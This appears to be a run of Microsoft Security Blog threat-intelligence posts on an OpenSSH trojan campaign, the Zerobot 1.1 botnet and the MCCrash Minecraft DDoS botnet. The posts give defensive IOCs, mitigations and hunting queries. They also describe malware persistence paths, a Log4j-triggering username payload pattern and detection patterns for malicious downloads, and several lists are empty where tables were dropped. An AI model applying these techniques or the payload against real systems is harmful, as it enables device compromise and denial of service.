The backdoor employs various mechanisms to set up ZiggyStarTux’s persistence on compromised systems. It copies the ZiggyStarTux binary to several locations on the disk and establishes cron jobs to invoke it at regular intervals. Moreover, it runs a bash script that registers ZiggyStarTux as a systemd service by creating and configuring the service file /etc/systemd/system/network-check.service.

Analysis of ZiggyStarTux revealed that the threat actors stripped the binary of logging-related strings and incorporated a function that writes the bot’s process ID to /var/run/sys_checker.pid, allowing the backdoor to read that file and conceal that process ID using the installed rootkits.

The ZiggyStarTux bots communicate with the C2 via an IRC server hosted on various domains and IPs located in different geographical regions. Evidence indicates that the threat actors disguise their traffic by utilizing the subdomain of a Southeast Asian financial institution that is hosted on one of their own servers.

To receive commands, the ZiggyStarTux bots connect to the IRC server and join a hidden password-protected channel named ##..##. The server was observed issuing bash commands that instruct bots to download and launch two shell scripts from a remote server. The first script, lscan, retrieves lssh.tgz from the server, an archive of scripts that scan each IP in the subnet for SSH access using a password list. The scripts record the results of each connection attempt in a log file.

The second script, zaz, fetches the compromised OpenSSH package with the embedded backdoor from the remote server. The installation is carried out using the email address ancientgh0st@yahoo[.]com as an argument to serve as an additional exfiltration point for device information. Additionally, zaz retrieves an archive called hive-start.tgz which contains mining malware crafted for Hiveon OS systems, a Linux-based open-source operating system designed for cryptomining.

Indications of criminal cooperation

Microsoft researchers have traced the campaign to a user named asterzeu on the hacking forum cardingforum[.]cx, who offered multiple tools for sale on the platform, including an SSH backdoor. The domain madagent[.]tm was registered in 2015 with an email address matching the username and shared numerous servers over a four-year period with madagent[.]cc, one of the C2 domains of ZiggyStarTux. Furthermore, the distribution of the shell script backdoor between threat actors has been identified, adding to the evidence of a network of tools and infrastructure shared or sold on the malware-as-a-service market.

Mitigation and protection guidance

Microsoft recommends the following steps to protect devices and networks against this threat:

• Harden internet-facing devices against attacks
  • Ensure secure configurations for devices: Change the default password to a strong one, and block SSH from external access.
  • Maintain device health with updates: Make sure devices are up to date with the latest firmware and patches.
  • Use least-privileges access: Use a secure virtual private network (VPN) service for remote access and restrict remote access to the device.
  • When possible, update OpenSSH to the latest version.
• Adopt a comprehensive IoT security solution such as Microsoft Defender for IoT to allow visibility and monitoring of all IoT and OT devices, threat detection and response, and integration with SIEM/SOAR and XDR platforms such as Microsoft Sentinel and Microsoft 365 Defender.
• Use security solutions with cross-domain visibility and detection capabilities like Microsoft 365 Defender, which provides integrated defense across endpoints, identities, email, applications, and data.

Detections

Microsoft Defender for IoT

Microsoft Defender for IoT uses detection rules and signatures to identify malicious behavior. Microsoft Defender for IoT has alerts for the use of open-source tools and exploits that may be tied to this attack.

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects this threat as the following malware:

• Trojan:Linux/SamDust!MTB
• Trojan:Linux/SamDust.D!MTB
• Trojan:Linux/SamDust.B!MTB
• Trojan:Linux/SamDust.A!MTB
• Trojan:Linux/SamDust.N!MTB
• Trojan:Linux/Reptile.A
• Trojan:Linux/Reptile.B
• Trojan:Linux/Reptile.C
• Trojan:Linux/Reptile.D
• Trojan:Linux/Diamorphine.A!MTB

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alerts can indicate associated threat activity:

• Unusual number of failed sign-in attempts

The following alerts might also indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity.

• Suspicious file property modification occurred
• Suspicious termination of security tool
• Suspicious service launched
• Suspicious Linux service created
• File masquerading

Hunting queries

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace. More details on the Content Hub can be found here:  https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy.

In addition, customers can use the SSH Brute force detection template in the Syslog solution package to monitor for brute force attempts against their exposed SSH endpoints.

Indicators of Compromise

Rotem Sde-Or, Microsoft Threat Intelligence Community

Further reading

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on Twitter at https://twitter.com/MsftSecIntel.

The post IoT devices and Linux-based systems targeted by OpenSSH trojan campaign appeared first on Microsoft Security Blog.

Botnet malware operations are a constantly evolving threat to devices and networks. Threat actors target Internet of Things (IoT) devices for recruitment into malicious operations as IoT devices’ configurations often leave them exposed, and the number of internet-connected devices continue to grow. Recent trends have shown that operators are redeploying malware for a variety of distributions and objectives, modifying existing botnets to scale operations and add as many devices as possible to their infrastructure.

Zerobot, a Go-based botnet that spreads primarily through IoT and web application vulnerabilities, is an example of an evolving threat, with operators continuously adding new exploits and capabilities to the malware. The Microsoft Defender for IoT research team has been monitoring Zerobot (also called ZeroStresser by its operators) for months. Zerobot is offered as part of a malware as a service scheme and has been updated several times since Microsoft started to track it. One domain with links to Zerobot was among several domains associated with DDoS-for-hire services seized by the FBI in December 2022.

Microsoft has previously reported on the evolving threat ecosystem. The shift toward malware as a service in the cyber economy has industrialized attacks and has made it easier for attackers to purchase and use malware, establish and maintain access to compromised networks, and utilize ready-made tools to perform their attacks. We have tracked advertisements for the Zerobot botnet on various social media networks in addition to other announcements regarding the sale and maintenance of the malware, as well as new capabilities in development.

In this blog post, we present information about the latest version of the malware, Zerobot 1.1, including newly identified capabilities and further context to Fortinet’s recent analysis on the threat. Zerobot 1.1 increases its capabilities with the inclusion of new attack methods and new exploits for supported architectures, expanding the malware’s reach to different types of devices. In addition to these findings, we’re sharing new indicators of compromise (IOCs) and recommendations to help defenders protect devices and networks against this threat.

What is Zerobot?

Zerobot affects a variety of devices that include firewall devices, routers, and cameras, adding compromised devices to a distributed denial of service (DDoS) botnet. Using several modules, the malware can infect vulnerable devices built on diverse architectures and operating systems, find additional devices to infect, achieve persistence, and attack a range of protocols. Microsoft tracks this activity as DEV-1061.

April 2023 update – Microsoft Threat Intelligence has shifted to a new threat actor naming taxonomy aligned around the theme of weather. DEV-1061 is now tracked as Storm-1061.

To learn about how the new taxonomy represents the origin, unique traits, and impact of threat actors, and to get a complete mapping of threat actor names, read this blog: Microsoft shifts to a new threat actor naming taxonomy.

The most recent distribution of Zerobot includes additional capabilities, such as exploiting vulnerabilities in Apache and Apache Spark (CVE-2021-42013 and CVE-2022-33891 respectively), and new DDoS attack capabilities.

How Zerobot gains and maintains device access

IoT devices are often internet-exposed, leaving unpatched and improperly secured devices vulnerable to exploitation by threat actors. Zerobot is capable of propagating through brute force attacks on vulnerable devices with insecure configurations that use default or weak credentials. The malware may attempt to gain device access by using a combination of eight common usernames and 130 passwords for IoT devices over SSH and telnet on ports 23 and 2323 to spread to devices. Microsoft researchers identified numerous SSH and telnet connection attempts on default ports 22 and 23, as well as attempts to open ports and connect to them by port-knocking on ports 80, 8080, 8888, and 2323.

In addition to brute force attempts on devices, Zerobot exploits dozens of vulnerabilities, which malware operators add on a rolling basis to gain access and inject malicious payloads. Zerobot 1.1 includes several new vulnerabilities, such as:

Since the release of Zerobot 1.1, the malware operators have removed CVE-2018-12613, a phpMyAdmin vulnerability that could allow threat actors to view or execute files. Microsoft researchers have also identified that previous reports have used the vulnerability ID “ZERO-32906” for CVE-2018-20057, “GPON” for CVE-2018-10561, and “DLINK” for CVE-2016-20017; and that CVE-2020-7209 was mislabeled as CVE-2017-17106 and CVE-2022-42013 was mislabeled as CVE-2021-42013.

Microsoft researchers have also found new evidence that Zerobot propagates by compromising devices with known vulnerabilities that are not included in the malware binary, such as CVE-2022-30023, a command injection vulnerability in Tenda GPON AC1200 routers.

Upon gaining device access, Zerobot injects a malicious payload, which may be a generic script called zero.sh that downloads and attempts to execute Zerobot, or a script that downloads the Zerobot binary of a specific architecture. The bash script that attempts to download different Zerobot binaries tries to identify the architecture by brute-force, attempting to download and execute binaries of various architectures until it succeeds, as IoT devices are based on many computer processing units (CPUs). Microsoft has observed scripts targeting various architectures including ARM64, MIPS, and x86_64.

Depending on the operating system of the device, the malware has different persistence mechanisms. Persistence tactics are used by malware operators to obtain and maintain access to devices. While Zerobot is unable to spread to Windows machines, we have found several samples that can run on Windows. On Windows machines, the malware copies itself to the Startup folder with the file name FireWall.exe (older versions use my.exe). Microsoft Defender for Endpoint detects this malware and related malicious activity on both Windows and Linux devices. See detection details below.

To achieve persistence on Linux-based devices, Zerobot uses a combination of desktop entry, daemon, and service methods:

Desktop entry:

Zerobot copies itself to $HOME/.config/ssh.service/sshf then writes a desktop entry file called sshf.desktop to the same directory. Older Linux versions use $HOME/.config/autostart instead of $HOME/.config/ssh.service.

Daemon:

Copies itself to /usr/bin/sshf and writes a configuration at /etc/init/sshf.conf.

Service:

Copies itself to /etc/sshf and writes a service configuration at /lib/system/system/sshf.service, then enables the service (to make sure it starts at boot) with two commands:

• systemctl enable sshf
• service enable sshf

All persistence mechanisms on older Linux versions use my.bin and my.bin.desktop instead of sshf and sshf.desktop.

New attack capabilities

In addition to the functions and attacks included in previous versions of the malware, Zerobot 1.1 has additional DDoS attack capabilities. These functions allow threat actors to target resources and make them inaccessible. Successful DDoS attacks may be used by threat actors to extort ransom payments, distract from other malicious activities, or disrupt operations. In almost every attack, the destination port is customizable, and threat actors who purchase the malware can modify the attack according to their target.

The following are the previously known Zerobot capabilities:

Previously undisclosed and new capabilities are the following:

How Zerobot spreads

After persistence is achieved, Zerobot scans for other internet-exposed devices to infect. The malware randomly generates a number between 0 and 255 and scans all IPs starting with this value. Using a function called new_botnet_selfRepo_isHoneypot, the malware tries to identify honeypot IP addresses, which are used by network decoys to attract cyberattacks and collect information on threats and attempts to access resources. This function includes 61 IP subnets, preventing scanning of these IPs.

Microsoft researchers also identified a sample that can run on Windows based on a cross-platform (Linux, Windows, macOS) open-source remote administration tool (RAT) with various features such as managing processes, file operations, screenshotting, and running commands. This tool was found by investigating the command-and-control (C2) IPs used by the malware. The script, which is used to download this RAT, is called impst.sh:

Defending devices and networks against Zerobot

The continuous evolution and rapid addition of new capabilities in the latest Zerobot version underscores the urgency of implementing comprehensive security measures. Microsoft recommends the following steps to protect devices and networks against the threat of Zerobot:

• Use security solutions with cross-domain visibility and detection capabilities like Microsoft 365 Defender, which provides integrated defense across endpoints, identities, email, applications, and data. Microsoft Defender Antivirus and Microsoft Defender for Endpoint detect Zerobot malware variants and malicious behavior related to this threat.

• Adopt a comprehensive IoT security solution such as Microsoft Defender for IoT to allow visibility and monitoring of all IoT and OT devices, threat detection and response, and integration with SIEM/SOAR and XDR platforms such as Microsoft Sentinel and Microsoft 365 Defender.
  • Ensure secure configurations for devices: Change the default password to a strong one, and block SSH from external access.
  • Maintain device health with updates: Make sure devices are up to date with the latest firmware and patches.
  • Use least privileges access: Use a secure virtual private network (VPN) service for remote access and restrict remote access to the device.

• Harden endpoints with a comprehensive Windows security solution:
  • Manage the apps your employees can use through Windows Defender Application Control and for unmanaged solutions, enabling Smart App Control.
  • Perform timely cleanup of all unused and stale executables sitting on yours or your organizations’ devices.

Detections

Microsoft Defender for IoT

Microsoft Defender for IoT uses detection rules and signatures to identify malicious behavior. Microsoft Defender for IoT has alerts for the following vulnerabilities and exploits which may be tied to Zerobot activity:

• CVE-2014-8361
• CVE-2016-20017
• CVE-2017-17105
• CVE-2017-17215
• CVE-2018-10561
• CVE-2018-20057
• CVE-2019-10655
• CVE-2020-7209
• CVE-2020-10987
• CVE-2020-25506
• CVE-2021-35395
• CVE-2021-36260
• CVE-2021-42013
• CVE-2021-46422
• CVE-2022-22965
• CVE-2022-25075
• CVE-2022-26186
• CVE-2022-26210
• CVE-2022-30023
• CVE-2022-30525
• CVE-2022-31137
• CVE-2022-33891
• CVE-2022-34538
• CVE-2022-37061
• ZERO-36290
• ZSL-2022-5717

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects the malicious files under the following platforms and threat names:

• Zerobot (Win32/64 and Linux)
• SparkRat (Win32/64 and Linux)

Microsoft Defender for Endpoint

Microsoft Defender for Endpoint alerts with the following titles can indicate threat activity on your network:

• DEV-1061 threat activity group detected
• An active ‘PrivateLoader’ malware process was detected while executing
• ‘Morila’ malware was prevented
• ‘Multiverze’ malware was detected

Microsoft Defender for Endpoint also has detections for the following vulnerabilities exploited by Zerobot:

• CVE-2022-22965 (Spring4Shell)

Microsoft Defender for Endpoint’s Device Discovery capabilities discover and classify devices. With these capabilities, Microsoft 365 Defender customers using Microsoft Defender for IoT have visibility into security recommendations for devices with the following vulnerabilities:

• CVE-2014-8361
• CVE-2019-10655
• CVE-2020-25506
• CVE-2021-36260
• CVE-2021-42013
• CVE-2022-30525
• CVE-2022-31137
• CVE-2022-37061

Devices with these vulnerabilities are also visible in the Microsoft Defender Vulnerability Management inventory.

Microsoft Defender for Cloud

Microsoft Defender for Cloud alerts with the following titles can indicate threat activity on your network:

• VM_ReverseShell
• VM_SuspectDownloadArtifacts
• SQL.VM_ShellExternalSourceAnomaly
• AppServices_CurlToDisk

Advanced hunting queries

Microsoft 365 Defender

Microsoft 365 Defender customers can run the following query to find related activity in their networks.

Zerobot files

This query finds the file hashes associated with Zerobot activity.

let IoCList = externaldata(TimeGenerated:datetime,IoC:string,IoC_Type:string,ExpirationDateTime:datetime,Description:string, Action:string, ConfidenceScore:real, ThreatType:string, Active:string,Type:string, TrafficLightProtocolLevel:string, 
ActivityGroupNames:string)[@"https://raw.githubusercontent.com/microsoft/mstic/master/RapidReleaseTI/Indicators.csv"] 
with(format="csv", ignoreFirstRecord=True);
let shahashes = IoCList
| where IoC_Type =~ "sha256" and Description =~ "Dev-1061 Zerobot affecting IoT devices"
| distinct IoC;
DeviceFileEvents
| where SHA256 in (shahashes)

Zerobot HTTP requests

This query finds suspicious HTTP requests originated by the IOCs associated with Zerobot activity.

DeviceNetworkEvents
| where RemoteIP in("176.65.137.5","176.65.137.6")
| where ActionType == "NetworkSignatureInspected"
| where Timestamp > ago(30d)
|extend json = parse_json(AdditionalFields)
| extend SignatureName =tostring(json.SignatureName), SignatureMatchedContent = tostring(json.SignatureMatchedContent), SignatureSampleContent = tostring(json.SamplePacketContent)
|where SignatureName == "HTTP_Client"
|project Timestamp, DeviceId, DeviceName, RemoteIP, RemotePort, LocalIP, LocalPort, SignatureName, SignatureMatchedContent, SignatureSampleContent

Zerobot port knocking

This query finds incoming connections from IOCs associated with Zerobot activity.

DeviceNetworkEvents
| where RemoteIP in("176.65.137.5","176.65.137.6")
| where ActionType == "InboundConnectionAccepted"
| where Timestamp > ago(30d)
|project Timestamp, DeviceId, DeviceName, RemoteIP, RemotePort, LocalIP, LocalPort, InitiatingProcessFileName

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace. More details on the Content Hub can be found here:  https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy

Indicators of compromise (IOCs):

Domains and IP addresses:

• zero[.]sudolite[.]ml
• 176.65.137[.]5
• 176.65.137[.]5:1401
• 176.65.137[.]6
• ws[:]//176.65.137[.]5/handle
• http[:]//176.65.137[.]5:8000/ws

New Zerobot hashes (SHA-256)

• aed95a8f5822e9b1cd1239abbad29d3c202567afafcf00f85a65df4a365bedbb
• bf582b5d470106521a8e7167a5732f7e3a4330d604de969eb8461cbbbbdd9b9a
• 0a5eebf19ccfe92a2216c492d6929f9cac72ef37089390572d4e21d0932972c8
• 1e7ca210ff7bedeefadb15a9ec5ea68ad9022d0c6f41c4e548ec2e5927026ba4
• 05b7517cb05fe1124dd0fad4e85ddf0fe65766a4c6c9986806ae98a427544e9d
• 5625d41f239e2827eb05bfafde267109549894f0523452f7a306b53b90e847f2
• c304a9156a032fd451bff49d75b0e9334895604549ab6efaab046c5c6461c8b3
• 66c76cfc64b7a5a06b6a26976c88e24e0518be3554b5ae9e3475c763b8121792
• 539640a482aaee2fe743502dc59043f11aa8728ce0586c800193e30806b2d0e5
• 0f0ba8cc3e46fff0eef68ab5f8d3010241e2eea7ee795e161f05d32a0bf13553
• 343c9ca3787bf763a70ed892dfa139ba69141b61c561c128084b22c16829c5af
• 874b0691378091a30d1b06f2e9756fc7326d289b03406023640c978ff7c87712
• 29eface0054da4cd91c72a0b2d3cda61a02831b4c273e946d7e106254a6225a7
• 4a4cb8516629c781d5557177d48172f4a7443ca1f826ea2e1aa6132e738e6db2
• bdfd89bdf6bc2de5655c3fe5f6f4435ec4ad37262e3cc72d8cb5204e1273ccd6
• 62f23fea8052085d153ac7b26dcf0a15fad0c27621f543cf910e37f8bf822e0e
• 788e15fd87c45d38629e3e715b0cb93e55944f7c4d59da2e480ffadb6b981571
• 26e68684f5b76d9016d4f02b8255ff52d1b344416ffc19a2f5c793ff1c2fdc65
• e4840c5ac2c2c2170d00feadb5489c91c2943b2aa13bbec00dbcffc4ba8dcc2d
• 45059f26e32da95f4bb5dababae969e7fceb462cdeadf7d141c39514636b905a
• 77dd28a11e3e4260b9a9b60d58cb6aaaf2147da28015508afbaeda84c1acfe70
• cf232e7d39094c9ba04b9713f48b443e9d136179add674d62f16371bf40cf8c8
• 13657b64a2ac62f9d68aeb75737cca8f2ab9f21e4c38ce04542b177cb3a85521
• eb33c98add35f6717a3afb0ab2f9c0ee30c6f4e0576046be9bf4fbf9c5369f71
• e3dd20829a34caab7f1285b730e2bb0c84c90ac1027bd8e9090da2561a61ab17
• 3685d000f6a884ca06f66a3e47340e18ff36c16b1badb80143f99f10b8a33768
• cdc28e7682f9951cbe2e55dad8bc2015c1591f89310d8548c0b7a1c65dbefae3
• 869f4fb3f185b2d1231d9378273271ddfeebb53085daede89989f9cc8d364f5f
• 6c59af3ed1a616c238ee727f6ed59e962db70bc5a418b20b24909867eb00a9d6
• ef28ee3301e97eefd2568a3cb4b0f737c5f31983710c75b70d960757f2def74e
• 95e4cc13f8388c195a1220cd44d26fcb2e10b7b8bfc3d69efbc51beb46176ff1
• 62f9eae8a87f64424df90c87dd34401fe7724c87a394d1ba842576835ab48afc
• 54d1daf58ecd4d8314b791a79eda2258a69d7c69a5642b7f5e15f2210958bdce
• 8176991f355db10b32b7562d1d4f7758a23c7e49ed83984b86930b94ccc46ab3
• 8aa89a428391683163f0074a8477d554d6c54cab1725909c52c41db2942ac60f
• fd65bd8ce671a352177742616b5facc77194cccec7555a2f90ff61bad4a7a0f6
• 1e66ee40129deccdb6838c2f662ce33147ad36b1e942ea748504be14bb1ee0ef
• 57f83ca864a2010d8d5376c68dc103405330971ade26ac920d6c6a12ea728d3d
• 7bfd0054aeb8332de290c01f38b4b3c6f0826cf63eef99ddcd1a593f789929d6

SparkRat hashes (SHA-256):

• 0ce7bc2b72286f236c570b1eb1c1eacf01c383c23ad76fd8ca51b8bc123be340
• cacb77006b0188d042ce95e0b4d46f88828694f3bf4396e61ae7c24c2381c9bf
• 65232e30bb8459961a6ab2e9af499795941c3d06fdd451bdb83206a00b1b2b88

Rotem Sde-Or, Ilana Sivan, Gil Regev, Microsoft Defender for IoT Research Team
Meitar Pinto, Nimrod Roimy, Nir Avnery, Microsoft Defender Research Team
Ramin Nafisi, Ross Bevington, Microsoft Threat Intelligence Center (MSTIC)

The post Microsoft research uncovers new Zerobot capabilities appeared first on Microsoft Security Blog.

To learn about how the new taxonomy represents the origin, unique traits, and impact of threat actors, and to get a complete mapping of threat actor names, read this blog: Microsoft shifts to a new threat actor naming taxonomy.

Malware operations continue to rapidly evolve as threat actors add new capabilities to existing botnets, increasingly targeting and recruiting new types of devices. Attackers update malware to target additional operating systems, ranging from PCs to IoT devices, growing their infrastructure rapidly. The Microsoft Defender for IoT research team recently analyzed a cross-platform botnet that originates from malicious software downloads on Windows devices and succeeds in propagating to a variety of Linux-based devices.

The botnet spreads by enumerating default credentials on internet-exposed Secure Shell (SSH)-enabled devices. Because IoT devices are commonly enabled for remote configuration with potentially insecure settings, these devices could be at risk to attacks like this botnet. The botnet’s spreading mechanism makes it a unique threat, because while the malware can be removed from the infected source PC, it could persist on unmanaged IoT devices in the network and continue to operate as part of the botnet.

Microsoft tracks this cluster of activity as DEV-1028, a cross-platform botnet that infects Windows devices, Linux devices, and IoT devices. The DEV-1028 botnet is known to launch distributed denial of service (DDoS) attacks against private Minecraft servers.

Our analysis of the DDoS botnet revealed functionalities specifically designed to target private Minecraft Java servers using crafted packets, most likely as a service sold on forums or darknet sites. A breakdown of the systems affected by the botnet over the three months from the time of this analysis also revealed that most of the devices were in Russia:

This type of threat stresses the importance of ensuring that organizations manage, keep up to date, and monitor not just traditional endpoints but also IoT devices that are often less secure. In this blog post, we share details on how this botnet affects multiple platforms, its DDoS capabilities, and recommendations for organizations to prevent their devices from becoming part of a botnet. We also share Minecraft server version information for owners of private servers to update and ensure they are protected from this threat.

Cross-platform botnet targets SSH-enabled devices

Microsoft researchers observed that the initial infection points related to the botnet were devices infected through the installation of malicious cracking tools that purport to acquire illegal Windows licenses.

The cracking tools contain additional code that downloads and launches a fake version of svchost.exe through a PowerShell command. In some cases, the downloaded file is named svchosts.exe.

Next, svchost.exe launches malicious.py, the main Python script that contains all the logic of the botnet, whichthen scans the internet for SSH-enabled Linux-based devices (Debian, Ubuntu, CentOS, and IoT workloads such as Raspbian, which are commonly enabled for remote configuration) and launches a dictionary attack to propagate. Once a device is found, it downloads the file Updater.zip from repo[.]ark—event[.]net onto the device, which creates the file fuse. The fuse file then downloads a copy of malicious.py onto the device. Both svchost.exe and fuse are compiled using PyInstaller, which bundles all the Python runtime and libraries necessary to initiate malicious.py.

While malicious.py has specific functionalities depending on whether the file launches on a Windows or Linux-based device (for Windows, the file establishes persistency by adding the registry key Software\Microsoft\Windows\CurrentVersion\Run with the executable as the value), the executable is compiled to operate on both Windows and Linux-based devices. The file communicates with its command-and-control (C2) server to launch the following commands:

• Establish TCP connection to repo[.]ark-event[.]net on port 4676.
• Send initial connection string.
• Receive a key from the server for encryption and decryption, and then encrypt further communication using the Fernet symmetric algorithm.
• Send version information to the server:
  • Windows device: The current Windows version
  • Linux device: Hardcoded version (2.19 in the sample we analyzed)
• Continue receiving encrypted commands from the server

Based on our analysis, the botnet is primarily used to launch DDoS attacks against private Minecraft servers using known server DDoS commands and unique Minecraft commands. Below is the list of commands established in the code:

While most of the commands are methods of DDoS, the most notable command run by the botnet is ATTACK_MCCRASH. The command sends ${env:random payload of specific size:-a} as the username in order to exhaust the resources of the server and make it crash.

TCP payloads on port 25565 have the following binary structure:

• Bytes [0:1] – Size of packet
• Bytes [1:2] – Login Start command
• Bytes [2:3] – Size of username
• Bytes [3:18] – Username string

The usage of the env variable triggers the use of Log4j 2 library, which causes abnormal consumption of system resources (not related to Log4Shell vulnerability), demonstrating a specific and highly efficient DDoS method.

A wide range of Minecraft server versions could be affected

While testing the impact of the malware, researchers found that the malware itself was hardcoded to target a specific version of Minecraft server, 1.12.2. However, all versions between 1.7.2 and 1.18.2 can be affected by this method of attack. There is a slight modification in the Minecraft protocol in server version 1.19, which was released earlier in 2022, that prevents the use of the Minecraft specific commands, the ATTACK_MCCRASH, ATTACK_[MCBOT|MINE] and ATTACK_MCDATA, without modification of the attack code.

The wide range of at-risk Minecraft servers highlights the impact this malware could have had if it was specifically coded to affect versions beyond 1.12.2. The unique ability of this threat to utilize IoT devices that are often not monitored as part of the botnet substantially increases its impact and reduces its chances of being detected.

Protecting endpoints from cross-platform DDoS botnets like MCCrash

To harden devices networks against threats like MCCrash, organizations must implement the basics to secure identities and their devices, including access limitation. Solutions must detect downloads of malicious programs and malicious attempts to gain access to SSH-enabled devices and generate alerts on anomalous network behavior. Below are some of our recommendations for organizations:

• Ensure employees are not downloading cracking tools as these are abused as an infection source for spreading malware.

• Increase network security by enforcing multi-factor authentication (MFA) methods such as Azure Active Directory (now part of Microsoft Entra) MFA. Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.
  
  Microsoft 365 Defender protects against attacks related to botnets by coordinating threat data across identities, endpoints, cloud apps, email, and documents. Such cross-domain visibility allows Microsoft 365 Defender to comprehensively detect and remediate end-to-end attack chains—from malicious downloads to its follow-on activities in endpoints. This rich set of tools like advanced hunting let defenders surface threats and gain insights for hardening networks from compromise.

• Adopt a comprehensive IoT security solution such as Microsoft Defender for IoT to allow visibility and monitoring of all IoT and OT devices, threat detection and response, and integration with SIEM/SOAR and XDR platforms such as Microsoft Sentinel and Microsoft 365 Defender. Defender for IoT is updated regularly with indicators of compromise (IoCs) from threat research like the example described in this blog, alongside rules to detect malicious activity.
  
  On the IoT device level:
  • Ensure secure configurations for devices: Change the default password to a strong one, and block SSH from external access.
  • Maintain device health with updates: Make sure devices are up to date with the latest firmware and patches.
  • Use least privileges access: Use a secure virtual private network (VPN) service for remote access and restrict remote access to the device.

• For users hosting private Minecraft servers, update to version 1.19.1 and above.

• Adopt a comprehensive Windows security solution
  • Manage the apps your employees can use through Windows Defender Application Control and for unmanaged solutions, enabling Smart App Control.
  • For commercial customers, enable application and browser controls such as Microsoft Defender Application Guard for enhanced protection for Office and Edge.
  • Perform timely cleanup of all unused and stale executables sitting on your organizations’ devices.
  • Protect against advanced firmware attacks by enabling memory integrity, Secure Boot, and Trusted Platform Module 2.0, if not enabled by default, which hardens boot using capabilities built into modern CPUs.

Indicators of compromise (IOCs)

• e3361727564b14f5ee19c40f4e8714fab847f41d9782b157ea49cc3963514c25 (KMSAuto++.exe)
• 143614d31bdafc026827e8500bdc254fc1e5d877cb96764bb1bd03afa2de2320 (W10DigitalActivation.exe)
• f9c7dd489dd56e10c4e003e38428fe06097aca743cc878c09bf2bda235c73e30 (dcloader.exe)
• 4e65ec5dee182070e7b59db5bb414e73fe87fd181b3fc95f28fe964bc84d2f1f (updater.zip)
• eb57788fd2451b90d943a6a796ac5e79f0faf7151a62c1d07b744a351dcfa382 (svchosts.exe)
• 93738314c07ea370434ac30dad6569c59a9307d8bbde0e6df9be9e2a7438a251 (fuse)
• 202ac3d32871cb3bf91b7c49067bfc935fbc7f0499d357efead1e9f7f5fcb9d1 (malicious.py)
• repo[.]ark-event[.]net

Detections

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects the malware used in this attack as the following:

• TrojanDownloader:MSIL/MCCrash.NZM!MTB
• Trojan:Win32/MCCrash.MA!MTB
• TrojanDownloader:Python/MCCrash!MTB
• Trojan:Python/MCCrash.A
• TrojanDownloader:Linux/MCCrash!MTB
• Trojan:Python/MCCrash.RPB!MTB
• Trojan:Python/MCCrash.RPC!MTB

Microsoft Defender for Endpoint

Microsoft Defender for Endpoint alerts with the following titles can indicate threat activity on your network:

• Emerging threat activity group DEV-1028 detected
• System file masquerade
• Anomaly detected in ASEP registry
• Suspicious process launched using cmd.exe
• Suspicious file launch

Microsoft Defender for IoT

MCCrash-related activity on IoT devices would raise the following alerts in Microsoft Defender for IoT:

• Unauthorized SSH access
• Excessive login attempts

Microsoft Defender for Cloud

Microsoft Defender for Cloud raises the following alert for related activity:

• VM_SuspectDownload

Advanced hunting queries

Microsoft 365 Defender

Run the following queries to search for related files in your environment:

DeviceFileEvents
| where SHA256 in ("e3361727564b14f5ee19c40f4e8714fab847f41d9782b157ea49cc3963514c25","143614d31bdafc026827e8500bdc254fc1e5d877cb96764bb1bd03afa2de2320","f9c7dd489dd56e10c4e003e38428fe06097aca743cc878c09bf2bda235c73e30","4e65ec5dee182070e7b59db5bb414e73fe87fd181b3fc95f28fe964bc84d2f1f","eb57788fd2451b90d943a6a796ac5e79f0faf7151a62c1d07b744a351dcfa382","93738314c07ea370434ac30dad6569c59a9307d8bbde0e6df9be9e2a7438a251","202ac3d32871cb3bf91b7c49067bfc935fbc7f0499d357efead1e9f7f5fcb9d1")

DeviceFileEvents
| where FolderPath endswith @":\windows\svchost.exe"

DeviceRegistryEvents
| where RegistryKey contains "CurrentVersion\\Run"
| where RegistryValueName == "br" or RegistryValueData contains "svchost.exe" or RegistryValueData contains "svchosts.exe"

DeviceProcessEvents
| where FileName in~ ("cmd.exe", "powershell.exe")
| where ProcessCommandLine has_all ("-command", ".downloadfile(", "windows/svchost.exe")

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytic to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace. More details on the Content Hub can be found here:  https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy

To supplement this indicator matching, customers can use the following queries against data ingested into their workspaces to help find devices with exposed SSH endpoints, and devices that might be under SSH brute force attempts.

Potential SSH brute force attempt: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/Syslog/ssh_potentialBruteForce.yaml

Exposed critical ports in Azure: https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/AzureDiagnostics/CriticalPortsOpened.yaml

David Atch, Maayan Shaul, Mae Dotan, Yuval Gordon, Microsoft Defender for IoT Research Team

Ross Bevington, Microsoft Threat Intelligence Center (MSTIC)

The post MCCrash: Cross-platform DDoS botnet targets private Minecraft servers appeared first on Microsoft Security Blog.

To learn about how the new taxonomy represents the origin, unique traits, and impact of threat actors, and to get a complete mapping of threat actor names, read this blog: Microsoft shifts to a new threat actor naming taxonomy.

